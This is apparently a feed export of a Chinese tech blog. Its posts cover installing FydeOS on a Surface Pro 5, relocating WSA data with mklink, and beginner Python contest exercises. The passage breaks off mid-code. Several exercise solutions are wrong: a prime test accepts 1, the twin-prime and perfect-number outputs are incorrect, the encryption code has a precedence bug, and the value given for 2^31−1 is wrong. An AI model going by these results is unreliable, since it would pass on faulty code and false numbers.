使用的项目是这个https://github.com/linux-surface/linux-surface

安装方法见Installation and Setup · linux-surface/linux-surface Wiki (github.com)

FydeOS(ChromeOS衍生版)体验

装了FydeOS的Surface Pro 5

为啥我会选择装ChromeOS?这个要从一个想法说起。本来我就是个音游玩家,一直在用手机玩音游,没怎么用过平板来玩(以前嫖过别人的平板不过那也是别人的),平板玩音游的优势很大,主要还是屏幕大。我一开始选的是Bliss OS For PC,这个里面是个Android x86系统,但我不知道是苏菲特色还是咋地,不管是BlissOS 11、BlissOS 14 还是 BlissOS 15(如果过不了那个logcat可以F12里面直接找下载链接,这里放一个 -> BlissOS 15 with Gearlock)装在我的Surface上就一直起不来(进不了系统,有的卡在grub,有的卡在kernel load,有的直接重启),所以我就只能另辟蹊径

我想起之前用过的FydeOS,但是用的是以前的那个联想装的,还很不成熟,只能在U盘里面使用,装东西也只能装在那个里面,所以当时就放弃了。时隔一年,我又再次下载下来发现已经跟之前很不一样了,现在可以安装在硬盘里面了(安装过程省略,才不是我没有截图呢),安装的时候如果你要保留Windows,记得让安装程序帮你配置rEFInd,要不然会很麻烦

开机后直接就是一张壁纸,下面是任务栏(启动器)

从下往上滑,打开应用列表,有个非常显眼的东西:安卓设置,点开以后会有个EULA,同意了就可以打开安卓子系统了(其实是Arc - Android Runtime on ChromeOS)

打开Android子系统后,可以在关于里面看到是Android 9(原生的)

用我们的常规手段打开开发者选项后,就可以打开adb调试了,然后可以在ChromeOS的Linux开发者容器里面用adb连接

你还可以在FydeOS的应用商店里面找到配置 OpenGapps这个应用,打开它,我们就可以安装GAPPS套件了

你可以预先下好Clash啥的软件,方便后续使用

关于VPN服务,真的要点个赞,当你在Android子系统中使用VPN服务时,FydeOS会自动将VPN应用于整个OS里面,也就是说当我打开Clash的时候,不仅仅是Android子系统的软件可以走代理,FydeOS的Chromium也上了代理,不用再在Linux容器里面装多个v2rayL啥的东西了

接着就是装一堆音游啦!既然有了Google Play商店,我就从Play商店里面下载(Cytus2本来在B站下的,因为给B站充钱了,但是在这上面会闪退而Play版就不会,辣鸡龙渊能不能让我转国际区……)

在这个上面玩音游的体验不能算是优秀,只能算是中规中矩,有些音游在上面玩的有点卡(例如阿卡伊,当然不排除我真的不会玩阿卡伊),华为玩音游有的现象在这上面基本都有(指吃音)

不过这个系统的Android和ChromeOS之间几乎没有隔阂,这个体现在分享上面,你可以直接分享到Android的应用中

我还在这上面装了崩崩崩、PCR(多聚酶链式反应)、FGO(非酋系列)、明日方舟这几个游戏,本来装了原的,但是原的体验并不好,跟在我的红米NOTE 11上面打感觉没什么两样,就删掉了

不过这个Android有一个缺点:不能root,我正在寻找root的方式不过这肯定要很久,或许我会找不到。本来我想试试在Windows下用DiskGenius把boot.img直接提取出来修补的,但是FydeOS的目录结构非常奇怪,我是真的没有找到,慢慢来吧……

安装Linux子系统出现问题

在开启Linux虚拟机的时候提示安装Linux时出错 - 启动虚拟机时出错,请重试;打开Linux终端提示Error starting penguin container: 5 Launching vmshell failed: Error starting crostini for terminal: 5

可以通过查看/var/log/messages这个文件来看看问题出在哪,先Ctrl + Shift + T打开Crosh(ChromeOS的终端入口),然后输入shell打开终端,接着输入sudo su进入root用户才能看到

我这里看到的日志如下(节选了报错部分)

1
2
3
4
5
6
7
2022-12-20T04:42:38.583489Z INFO vm_concierge[3233]: Preallocating user-chosen-size raw disk image
2022-12-20T04:42:38.584372Z INFO kernel: [ 396.631888] EXT4-fs (dm-1): mounted filesystem without journal. Opts:
2022-12-20T04:42:38.606690Z INFO vm_concierge[3233]: Disk image preallocated
2022-12-20T04:42:38.610554Z INFO vm_concierge[3233]: Received StartVm request
2022-12-20T04:42:38.610606Z ERR vm_concierge[3233]: Missing VM kernel path: /run/imageloader/cros-termina/99999.0.0/vm_kernel
2022-12-20T04:43:09.578102Z NOTICE temp_logger[16903]: INT3400_Thermal:20C B0D4:93C GEN4:39C GEN5:37C pch_skylake:52C x86_pkg_temp:91C PL1:30.000W
2022-12-20T04:43:35.275342Z WARNING session_manager[1287]: WARNING session_manager: [device_identifier_generator.cc(228)] No device identifiers available, no state keys generated

这里很明显了是缺少kernel文件,在官方论坛问了一圈,官方回复如下

1
请检查 /usr/local/tatl-fydeos/ 目录是否存在,其中应该有 vm_kernel, vm_rootfs.img 等文件。 如果目录不存在或者文件缺失的话,需要在 shell 中以 root 身份执行 /usr/bin/stateful_update_wrapper.sh recover 把 stateful 分区恢复一下,重启后再重试安装 linux 子系统。

然后我去检查,果然没有这个目录,根据他给的方法恢复一下,可以用了

这里有个坑就是它恢复的时候会下载资源文件,这个资源文件的下载链接是AWS3的,建议挂个梯子下,要不然慢得很


总结

Surface Pro 5毕竟是一台几年前的本子了,论性能肯定比不上现在的电脑,但是它带给我的使用体验是非常棒的,比我之前那台YOGA要好得多(轻薄、便携),而且3:2的屏幕确实适合工作(这里表扬一下拯救者系列,我的戴尔游侠就是16:9),可能缺点就是在性能上,还有就是Linux的适配上面了。该说不愧是微软亲儿子嘛,微软做工确实牛

]]>
+ + + + + Tech + + + + + + + Tech + + Windows + + Surface + + FydeOS + + Linux + + Ubuntu + + linux-surface + + + +
+ + + + + 移动你的WSA数据盘,让你的C盘不再爆满 + + /posts/Move-your-wsa-data/ + +

WSA确实是个很好用的东西,毕竟能够直接跑上安卓系统,不用忍受模拟器那种广告,很方便

但是同样也带来了一些问题就是:你的C盘会爆满

这主要是因为WSA的数据盘都放在了C:\Users\%username%\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache\这个目录下,我的数据盘经过我的半年使用已经到了34.3GB了,然后就导致了我的C盘像上面那张图那样要炸了

我记得Linux里面有ln命令可以创建文件链接,然后Windows有个叫做mklink的(仅cmd可用,powershell没有,我踩了这个坑),之前为了让Epic和Steam的GTA5都可用还用过来着,这不用这个方法把数据移到其他硬盘里

我把文件放在了D:\WSA-data这个文件夹里,连着C:\Users\%username%\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache\LocalCache文件夹整个放进去

然后按Windows + X,选择Windows 终端(管理员)(选择powershell或者cmd都行,但是一定要有管理员权限

然后打入下面这行命令(记得把后面的那个路径改成你自己的)

1
mklink /J "C:\Users\GamerNoTitle\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache" "D:\WSA-data\LocalCache"

然后我们的文件链接就创建成功了,打开WSA,一切正常!

]]>
+ + + + + Software + + + + + + + Software + + hardlink + + + +
+ + + + + 从零开始的Python ACM Ch.9:动态规划 + + /posts/Go-for-Python-Ch9/ + +

例题:跳台阶

假设你正在爬楼梯。需要 n 阶你才能到达楼顶。

每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢?

  • 示例 1

输入:n = 2 输出:2

解释:有两种方法可以爬到楼顶。

  1. 1 阶 + 1 阶

  2. 2 阶

  • 示例 2:

输入:n = 3 输出:3

解释:有三种方法可以爬到楼顶。

  1. 1 阶 + 1 阶 + 1 阶

  2. 1 阶 + 2 阶

  3. 2 阶 + 1 阶

1 <= n <= 45

题解(递归法)

解释:一个stepsn的问题可以看做是stepsn-1stepsn-2的步骤和

1
2
3
4
5
6
7
8
steps = int(input('Steps: '))   # 台阶数

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
return degrade(steps - 1) + degrade(steps - 2)

print(degrade(steps))

这个方法可以发现,当输入steps10时,degrade(9)计算了1次,degrade(8)计算了2次(degrade(9)里面一次,自身一次),再往下发现越往下计算的次数越多,如果计算式子很复杂会消耗更多的时间

所以有一个优化的方式,就是把已经算过的值丢到一个新的变量里面存起来,如果计算过就不用计算了(缓存优化)

1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数
memory = [-1] * 10000000

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
if memory[steps] >= 0: return memory[steps]
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
return memory[steps]

print(degrade(steps))

或者使用字典来存储

1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数
memory = {}

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
if steps in memory: return memory[steps]
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
return memory[steps]

print(degrade(steps))

递归问题

步骤只有两步:

  • 分解(分解为规模较小的相似问题)
  • 原子问题(可以由问题分解推出,这里就是i=1i=2的情况)

很多DP算法都能够用递归解决,因为这个比DP简单,所以先在这里列出来。

递归会占用系统资源,而且递归一定会比循环更慢一些(尽管你用了缓存优化),当递归数过高时会超过Python的最大深度,引起RecursionError然后就……像下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Steps: 10000
Traceback (most recent call last):
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_trace_dispatch_regular.py", line 359, in __call__
is_stepping = pydev_step_cmd != -1
RecursionError: maximum recursion depth exceeded in comparison

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\runpy.py", line 196, in _run_module_as_main
return _run_code(code, main_globals, None,
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\runpy.py", line 86, in _run_code
exec(code, run_globals)
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\__main__.py", line 39, in <module>
cli.main()
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy/..\debugpy\server\cli.py", line 430, in main
run()
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy/..\debugpy\server\cli.py", line 284, in run_file
runpy.run_path(target, run_name="__main__")
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 321, in run_path
return _run_module_code(code, init_globals, run_name,
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 135, in _run_module_code
_run_code(code, mod_globals, init_globals,
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 124, in _run_code
exec(code, run_globals)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 11, in <module>
print(degrade(steps))
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
[Previous line repeated 983 more times]
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 4, in degrade
def degrade(steps):
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_trace_dispatch_regular.py", line 469, in __call__
return None if event == 'call' else NO_FTRACE
RecursionError: maximum recursion depth exceeded in comparison

DP算法

核心问题

  • 合成问题
  • 初始状态(就是i=1i=2的状态)
  • 计算后续状态

DP算法求解

还是上面那个跳台阶问题

1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数

def degrade(steps):
result = [0] * (steps + 1)
result[1], result[2] = 1, 2
for i in range(3, steps+1):
result[i] = result[i-1] + result[i-2]
return result[steps]

print(degrade(steps))

输出

1
2
Steps: 10000
54438373113565281338734260993750380135389184554695967026247715841208582865622349017083051547938960541173822675978026317384359584751116241439174702642959169925586334117906063048089793531476108466259072759367899150677960088306597966641965824937721800381441158841042480997984696487375337180028163763317781927941101369262750979509800713596718023814710669912644214775254478587674568963808002962265133111359929762726679441400101575800043510777465935805362502461707918059226414679005690752321895868142367849593880756423483754386342639635970733756260098962462668746112041739819404875062443709868654315626847186195620146126642232711815040367018825205314845875817193533529827837800351902529239517836689467661917953884712441028463935449484614450778762529520961887597272889220768537396475869543159172434537193611263743926337313005896167248051737986306368115003088396749587102619524631352447499505204198305187168321623283859794627245919771454628218399695789223798912199431775469705216131081096559950638297261253848242007897109054754028438149611930465061866170122983288964352733750792786069444761853525144421077928045979904561298129423809156055033032338919609162236698759922782923191896688017718575555520994653320128446502371153715141749290913104897203455577507196645425232862022019506091483585223882711016708433051169942115775151255510251655931888164048344129557038825477521111577395780115868397072602565614824956460538700280331311861485399805397031555727529693399586079850381581446276433858828529535803424850845426446471681531001533180479567436396815653326152509571127480411928196022148849148284389124178520174507305538928717857923509417743383331506898239354421988805429332440371194867215543576548565499134519271098919802665184564927827827212957649240235507595558205647569365394873317659000206373126570643509709482649710038733517477713403319028105575667931789470024118803094604034362953471997461392274791549730356412633074230824051999996101549784667340458326852960388301120765629245998136251652347093963049734046445106365304163630823669242257761468288461791843224793434406079917883360676846711185597501

DP与递归的区别

DP是正着算,递归是反着算,仅此而已,思考问题的思路不同。

例题:网络路径数

一个机器人位于一个 m x n 网格的左上角 。

机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角。

问总共有多少条不同的路径?

  • 示例 1

输入:m = 3, n = 7 输出:28

  • 示例 2

输入:m =3, n = 2 输出:3 解释:从左上角开始,总共有 3 条路径可以到达右下角。

  1. 向右 -> 向下 -> 向下

  2. 向下 -> 向下 -> 向右

  3. 向下 -> 向右 -> 向下

  • 示例 3

输入:m =7, n = 3

输出:28

  • 示例 4

输入:m = 3, n = 3

输出:6

题解(递归法)

1
2
3
def pathcount(m, n):
if m == 1 or n == 1: return 1
return pathcount(m-1, n) + pathcount(m, n-1)

题解(DP法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def pathcount(m, n):
ls = [[0 for _ in range(n+1)] for __ in range(m+1)]
ls[1][1] = 0
for i in range(1, len(ls[1])):# 初始化状态初值
ls[1][i] = 1
for i in range(1, len(ls)):
ls[i][1] = 1
ls[1][2] = 1
ls[2][1] = 1
for b in range(2, m+1): # b是行
for a in range(2, n+1): # a是列
ls[b][a] = ls[b-1][a] + ls[b][a-1]
print(ls)
return ls[m][n]
]]>
+ + + + + Coding + + + + + + + Coding + + Dynamic + + + +
+ + + + + 从零开始的Python ACM Ch.8:综合题目 + + /posts/Go-for-Python-Ch8/ + +

数据加密

一个公司对于一个四位数的整型数字的加密方式为:每位数位上的数字+5后除以十得到余数,将各数位上的余数按照第一位与第四位、第二位与第三位的顺序进行交换,得到最终结果

1
2
3
4
5
6
7
8
9
10
11
message = input('num: ')

message = [message[0], message[1], message[2], message[3]]
for i in range(0, len(message)):
message[i] = int(message[i]) + 5 % 10
message[0], message[1], message[2], message[3] = message[3], message[2], message[1], message[0]
result = ''
for i in message:
result += str(i)
print(result)

双色球

用程序模拟双色球开奖过程,红色球范围为133,蓝色球范围为116,红色球有6个且数字不能重复,蓝色球只有1个。

输出格式为:红色球:x x x x x x 蓝色球:x

1
2
3
4
5
6
7
8
9
10
11
12
13
import random

reds = set()
blue = -1
while len(reds) < 6:
reds.add(random.randint(1,33))

blue = random.randint(1,16)

print('红色球:', end='')
for i in reds:
print(i, end=' ')
print(f'蓝色球:{blue}')
]]>
+ + + + + Coding + + + + + + + Coding + + + +
+ + + + + 从零开始的Python ACM Ch.7:整数练习 + + /posts/Go-for-Python-Ch7/ + +

黑洞数

  • 黑洞数又称陷阱数,是类具有奇特转换特性的整数。任何一个数字不全相同整数,经有限“重排求差”操作,总会得某一个或一些数,这些数即为黑洞数。“重排求差”操作即把组成该数的数字重排后得到的最大数减去重排后得到的最小数。或者是冰雹原理中的“1”黑洞数
  • 求出三位数以内的黑洞数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
blackhole_num = set({})

def sort(num):
num_ascend_ls = sorted(list(str(num)))
num_ascend = int(num_ascend_ls[0]+num_ascend_ls[1]+num_ascend_ls[2])
num_decend_ls = list(reversed(sorted(list(str(num)))))
num_decend = int(num_decend_ls[0]+num_decend_ls[1]+num_decend_ls[2])
return num_ascend, num_decend

for i in range(100,1000):
num = i
while True:
num_ascend, num_decend = sort(num)
tmp = num_decend - num_ascend
if tmp == num:
blackhole_num.add(tmp)
break
elif tmp < 100:
break
else:
num = tmp
print(blackhole_num)

输出

1
{495}

我还去百度了一下,三位数的黑洞数确实只有495……

勾股数

  • 这个应该不用多介绍了吧……输出100以内的所有勾股数
1
2
3
4
5
6
7
8
9
10
11
12
# 暴力做法
from math import sqrt

nums = list()

for a in range(1, 101):
for b in range(1, a+1):
if str(sqrt(a ** 2 + b ** 2)).endswith('.0') and sqrt(a ** 2 + b ** 2) <= 100:
nums.append((b, a, int(sqrt(a**2+b**2))))
nums.sort(key=lambda x: x[0])
print(nums)

输出(共52个)

1
[(3, 4, 5), (5, 12, 13), (6, 8, 10), (7, 24, 25), (8, 15, 17), (9, 12, 15), (9, 40, 41), (10, 24, 26), (11, 60, 61), (12, 16, 20), (12, 35, 37), (13, 84, 85), (14, 48, 50), (15, 20, 25), (15, 36, 39), (16, 30, 34), (16, 63, 65), (18, 24, 30), (18, 80, 82), (20, 21, 29), (20, 48, 52), (21, 28, 35), (21, 72, 75), (24, 32, 40), (24, 45, 51), (24, 70, 74), (25, 60, 65), (27, 36, 45), (28, 45, 53), (28, 96, 100), (30, 40, 50), (30, 72, 78), (32, 60, 68), (33, 44, 55), (33, 56, 65), (35, 84, 91), (36, 48, 60), (36, 77, 85), (39, 52, 65), (39, 80, 89), (40, 42, 58), (40, 75, 85), (42, 56, 70), (45, 60, 75), (48, 55, 73), (48, 64, 80), (51, 68, 85), (54, 72, 90), (57, 76, 95), (60, 63, 87), (60, 80, 100), (65, 72, 97)]

不重复的三位数

  • 用1、2、3、4能组成多少个互不相同且无重复数字的三位数?都是多少?
  • (其实Python里面的itertools里面有个方法叫做permutation()
1
2
3
4
5
6
7
8
9
10
from itertools import permutations

nums = [1, 2, 3, 4]
result = []

possible = permutations(nums, 3)
for a, b, c in possible:
result.append(a*100+b*10+c)
print(result)
print(len(result))

输出

1
2
[123, 124, 132, 134, 142, 143, 213, 214, 231, 234, 241, 243, 312, 314, 321, 324, 341, 342, 412, 413, 421, 423, 431, 432]
24
]]>
+ + + + + Coding + + + + + + + Coding + + + +
+ + + + + 从零开始的Python ACM Ch.6:质数与整数练习 + + /posts/Go-for-Python-Ch6/ + +

孪生素数

  • 问题描述
    本节要研究孪生素数的问题,先来看看什么是孪生素数。
    所谓孪生素数指的是间隔为2的两个相邻素数,因为它们之间的距离己经近得不能再近了,如同孪生兄弟一样,故将这一对素数称为孪生素数。
    显然,最小的一对孪生素数是(1,3)。我们可以写出3、100以内的孪生素数,一共有8对,分别是(3,5),(5,7),(11,13),(17,19),(29,31),(41,43),
    (59,61)和(71,73)。随着数字的增大,孪生素数的分布也越来越稀疏,人工寻找孪生素数变得非常困难。
    关于孪生素数还存在着一个著名的猜想一孪生素数猜想,即孪生素数是否有无穷多对,这是数论中还有待解决的一个重要问题。此处我们只讨论在有限范围内的孪生素数求解问题。
  • 本节要解决的问题:编程求出3、1000以内的所有孪生素数。

其实很简单,直接遍历就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from math import sqrt

def isPrime(num):
if num == 2: return True
if num % 2 == 0: return False
i = 3
while i <= sqrt(num):
if num % i == 0: return False
i += 2
return True

if __name__ == '__main__':
flag = False
primes = []
primesset = []
tmp = -1
for i in range(1000):
if isPrime(i) and not flag:
primes.append(i)
flag = True
tmp = i
elif isPrime(i) and flag:
primes.append(i)
primesset.append([tmp, i])
tmp = -1
flag = False
print(primesset)

输出

1
[[1, 2], [3, 5], [7, 11], [13, 17], [19, 23], [29, 31], [37, 41], [43, 47], [53, 59], [61, 67], [71, 73], [79, 83], [89, 97], [101, 103], [107, 109], [113, 127], [131, 137], [139, 149], [151, 157], [163, 167], [173, 179], [181, 191], [193, 197], [199, 211], [223, 227], [229, 233], [239, 241], [251, 257], [263, 269], [271, 277], [281, 283], [293, 307], [311, 313], [317, 331], [337, 347], [349, 353], [359, 367], [373, 379], [383, 389], [397, 401], [409, 419], [421, 431], [433, 439], [443, 449], [457, 461], [463, 467], [479, 487], [491, 499], [503, 509], [521, 523], [541, 547], [557, 563], [569, 571], [577, 587], [593, 599], [601, 607], [613, 617], [619, 631], [641, 643], [647, 653], [659, 661], [673, 677], [683, 691], [701, 709], [719, 727], [733, 739], [743, 751], [757, 761], [769, 773], [787, 797], [809, 811], [821, 823], [827, 829], [839, 853], [857, 859], [863, 877], [881, 883], [887, 907], [911, 919], [929, 937], [941, 947], [953, 967], [971, 977], [983, 991]]

梅森素数

  • 问题描述:梅森数(MersennePrime)指的是形如2n·1的正整数,其中指数n是素数,记为Mno如果一个梅森数是素数,则称其为梅森素数。例如2^2-1=3、2^3-1:7都是梅森素数。
    当n:2、3、5、7时,Mn都是素数,但n=11时,Mn=2^11-1=2047=23×89,显然不是梅森素数。
    1722年,瑞士数学大师欧拉证明了2^31-1=21474837是一个素数,它共有10位数,成为当时世界上己知的最大素数。
    迄今为止,人们仅发现了47个梅森素数。梅森素数历来都是数论研究中的一项重要内容,也是当今科学探索中的热点和难点问题。
    了解了梅森素数后,现在来看本节要解决的编程问题。
  • 试求出指数n<20的所有梅森素数。

直接去算n在20以内质数的时候2^n-1是否为质数就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from math import sqrt


def isPrime(num):
if num == 2:
return True
if num % 2 == 0:
return False
i = 3
while i <= sqrt(num):
if num % i == 0:
return False
i += 2
return True


if __name__ == '__main__':
flag = False
primes = []
result = []
for i in range(20): # 20以内的素数
if isPrime(i):
primes.append(i)
for num in primes:
if isPrime(2**num-1):
result.append(2**num-1)
print(primes, result)

输出

1
[1, 2, 3, 5, 7, 11, 13, 17, 19] [1, 3, 7, 31, 127, 8191, 131071, 524287]

回文数

  • 问题描述:打印不超过n(n<256)的其平方具有对称性质的数
1
2
3
4
5
6
7
8
n = int(input('n: '))
result = []

for i in range(1,n+1):
if str(i**2) == str(i**2)[::-1]:
result.append(i)

print(result)

输出

1
[1, 2, 3, 11, 22, 26, 101, 111, 121, 202, 212]

水仙花数

  • 问题描述:经典题目,三位数的数位上的数字的三次方等于数字本身
1
2
3
4
5
6
7
8
9
10
result = []
for i in range(100, 1000):
a = str(i)[0]
b = str(i)[1]
c = str(i)[2]
if int(a)**3 + int(b)**3 + int(c)**3 == i:
result.append(i)

print(result)

输出

1
[153, 370, 371, 407]

阿姆斯特朗数

  • 水仙花数的翻版,任意位数也可以有这个特性,求1000以内的这种数字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
result = []
for i in range(0, 1001):
if i < 10:
if i**3 == i:
result.append(i)
elif i >= 10 and i < 100:
a = str(i)[0]
b = str(i)[1]
if int(a)**3 + int(b)**3 == i:
result.append(i)
elif i >= 100 and i < 1000:
a = str(i)[0]
b = str(i)[1]
c = str(i)[2]
if int(a)**3 + int(b)**3 + int(c)**3 == i:
result.append(i)
elif i >= 1000:
a = str(i)[0]
b = str(i)[1]
c = str(i)[2]
d = str(i)[3]
if int(a)**3 + int(b)**3 + int(c)**3 + int(d)**3 == i:
result.append(i)

print(result)

输出

1
[0, 1, 153, 370, 371, 407]

完数

  • 问题描述:一个数如果能由其因子相加得到,就称这个数字为完数。请输出1000以内的完数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from math import sqrt

result = []
for i in range(1, 1000):
factor = []
for j in range(1, int(i/2)+1):
if i % j == 0:
factor.append(j)
if sum(factor) == i:
result.append(i)
break

print(result)

输出

1
[6, 24, 28, 496]

自守数

  • 问题描述:一个数的平方的尾数等于自身的自然数即为自守数,求100 000以内的自守数
1
2
3
4
5
6
7
result = []
for i in range(100000):
if str(i) == str(i**2)[-len(str(i)):]:
result.append(i)

print(result)

输出

1
[0, 1, 5, 6, 25, 76, 376, 625, 9376, 90625]

高位数的高次方位数输出

  • 题目描述:对于一个13位的高位数,进行13次方的运算后,输出最后三位数
1
2
3
4
5
6
7
8
9
10
num = input('num: ')

result = []
tmpnum = int(num[-3:])
last = 1
for i in range(13):
last = int(str(last)[-3:]) * tmpnum

print(str(last)[-3:])

输入及输出

1
2
num: 1234567891234
504

不截断尾巴的实际数字为15477282471244379725868683797046205669901003401479261325193553207435375574886373743207123231086152401578649551681124388954385182017538129322035861770786709504

通过比较尾数发现做法是正确的

]]>
+ + + + + Coding + + + + + + + Coding + + + +
+ + + + + 从零开始的Python ACM Ch.5:练习系列 + + /posts/Go-for-Python-Ch5/ + +

求素数

  • 问题描述
    求给定范围start、end之间的所有素数。

  • 问题分析
    素数指的是只能被1和它自身整除的整数。判定一个整数m是否为素数的关键,就是要判定整数m能否能被除1和它自身以外的其他任何整数所整除,若都不能整除,则m为素数。本题求的是给定范围start、end之间的所有素数,考虑到程序的通用性,需要从键盘输入start和end的值,例如输入sta:1,end=1000,则所编写的程序应能够打印出1、1000之间的所有素数。

  • 求素数的方法参考:判断一个数是否为质数(素数)的4种方法_是杰夫呀的博客-CSDN博客_如何判断一个数是不是质数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from math import sqrt

start = int(input('Start: '))
end = int(input('End: '))


def isPrime(num):
if num == 2: return True
if num % 2 == 0: return False
i = 3
while i <= sqrt(num):
if num % i == 0: return False
i += 2
return True


for i in range(start, end + 1):
if isPrime(i):
print(i)

哥德巴赫猜想

  • 问题描述
    2000以内的不小于4的正偶数都能够分解为两个素数之和(即验证歌德巴赫猜想对2000以内的正偶数成立)。

  • 问题分析
    根据问题描述,为了验证歌德巴赫猜想对2000以内的正偶数都是成立的,要将整数分解为两部分,然后判断分解出的两个整数是否均为素数。若是,则满足题意,否则应重新进行分解和判断。针对该问题,我们可以给定如下的输入和输出限定。
    输入时:每行输入一组数据,即2000以内的正偶数n,一直输入到文件结束符为止。
    输出时:输出n能被分解成的素数a和b。如果不止一组解,则输出其中a最小的那组解。
    当然,读者可以根据实际的需要规定不同的输入和输出形式。

  • 这里指定输入方式:从控制台读入,空格分割

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from math import sqrt

nums = input('Nums(split with space): ').split()


def isPrime(num):
if num == 2: return True
if num % 2 == 0: return False
i = 3
while i <= sqrt(num):
if num % i == 0: return False
i += 2
return True

nums = list(map(int, nums))
for num in nums:
add1 = -1
add2 = -1
for i in range(2, num):
if not isPrime(i): continue
else:
for j in range(num, 1, -1):
if not isPrime(j): continue
else:
if i + j == num:
add1 = i
add2 = j
break
if add1 != -1 and add2 != -1: break
print(add1, add2)

输入与输出

1
2
3
4
5
6
7
8
Nums(split with space): 4 5 6 7 8 9 10
2 2
2 3
3 3
2 5
3 5
2 7
3 7

1898

  • 问题描述:“1898一要发就发”。请将不超过1993的所有素数从小到大排成第一行,第二行上的每个数都等于它上面相邻两个素数之差。编程求出:第二行数中是否存在若干个连续的整数,它们的和恰好为1898?假如存在的话,又有几种这样的情况?
    两行数据分别如下:
    第一行:2,3,5,7,11,13,17 …… 1979,1987,1993

    第二行:1,2,2,4,2,4……8,6

(还没做)

]]>
+ + + + + Coding + + + + + + + Coding + + + +
+ + + + + 从零开始的Python ACM Ch.4:序列和字符串的算法 + + /posts/Go-for-Python-Ch4/ + +

UVa272 TeX中的引号

TEX Quotes - UVA 272 - Virtual Judge (vjudge.net)

  • 在Tex中,左引号是``,右引号是’ ‘。
  • 给定一段包含双引号的段落,你的任务是把它转换成Tex的格式。

个人题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ArticleInput = '''
"To be or not to be," quoth the bard, "that
is the question".
The programming contestant replied: "I must disagree.
To `C' or not to `C', that is The Question!"
'''
flag = False

ArticleOutput = ''

start = 0

for place in range(len(ArticleInput)):
if ArticleInput[place] == '"' and not flag:
ArticleOutput += ArticleInput[start:place] + "``"
start = place + 1
flag = True
elif ArticleInput[place] == '"' and flag:
ArticleOutput += ArticleInput[start:place] + "''"
start = place + 1
flag = False

print(ArticleOutput)

输出:

1
2
3
4
``To be or not to be,'' quoth the bard, ``that
is the question''.
The programming contestant replied: ``I must disagree.
To `C' or not to `C', that is The Question!''

UVa10082 WERTYU

把手放在键盘上,稍不注意就会往右错一位。这样,输入Q会变成输入W,输入J会变成输入K等。键盘如图所示。 输入一个错位后敲出来的字符串(所有字母均大写),输出打字员本来想打出的矩阵输入保证合法,即一定是错位之后的字符串。例如输入中不会出现大写字母A。多行输入 每行包括数字,空格,大写字母(除了Q,A,Z)或者是标点符号(除了“’”(L右面第2个)),标有单词的按键,如Tab,BackSp,Control等等不会出现。你需要用每个字母或者符号左面的(在如图给出的QWERTY类型的键盘)那个按键内容替换他,输入的空格不作处理,依然输出空格。

个人题解(打表真累……)

UVa10082 - WERTYU 题解 - 1v7w - 博客园 (cnblogs.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
KeyboardInput = 'O S, GOMR YPFSU/'

KeyMap = {
